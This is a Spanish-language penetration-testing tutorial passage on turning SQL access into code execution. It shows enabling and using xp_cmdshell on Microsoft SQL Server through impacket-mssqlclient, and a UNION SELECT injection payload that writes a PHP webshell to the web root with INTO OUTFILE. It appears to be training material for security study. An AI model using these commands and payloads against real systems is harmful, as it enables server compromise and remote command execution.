Dependiendo del sistema de base de datos subyacente al que nos dirigimos, debemos adaptar nuestra estrategia para obtener la ejecución del código.

En Microsoft SQL Server, la función xp_cmdshell toma una cadena y la pasa a un shell de comandos para su ejecución. La función devuelve cualquier salida como filas de texto. La función está deshabilitada por defecto y, una vez habilitada, debe llamarse con la palabra clave EXECUTE en lugar de SELECT.

Podemos habilitar xp_cmdshell simulando una inyección SQL a través de la herramienta impacket-mssqlclient .

kali@kali:~$ impacket-mssqlclient <Administrator:[email protected]> -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
SQL> EXECUTE sp_configure 'show advanced options', 1;
[*] INFO(SQL01\\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
[*] INFO(SQL01\\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;

Con esta función habilitada, podemos ejecutar cualquier comando de shell de Windows a través de la instrucción EXECUTE seguida del nombre de la función.

SQL> EXECUTE xp_cmdshell 'whoami';
output

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

nt service\\mssql$sqlexpress

NULL

Por otro lado aparte, podemos tratar de abusar de una UNION SELECT SQL para inyectar una webshell y obtener rce. Podemos introducir este payload en el input (acondicionando el número de colunmas siempre), y usando el comando “INTO OUTFILE” para guardar el código en un archivo:

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

5d3b9c0695e7d107101f14348f18ef00-into_outfile.png

Seguidamente solo tenemos que ir a la ruta de la webshell.php y ejecutar comandos desde el parámetro cmd.

a2509f6cff30ec7c5ff91c98492bab3e-into_outfile2.png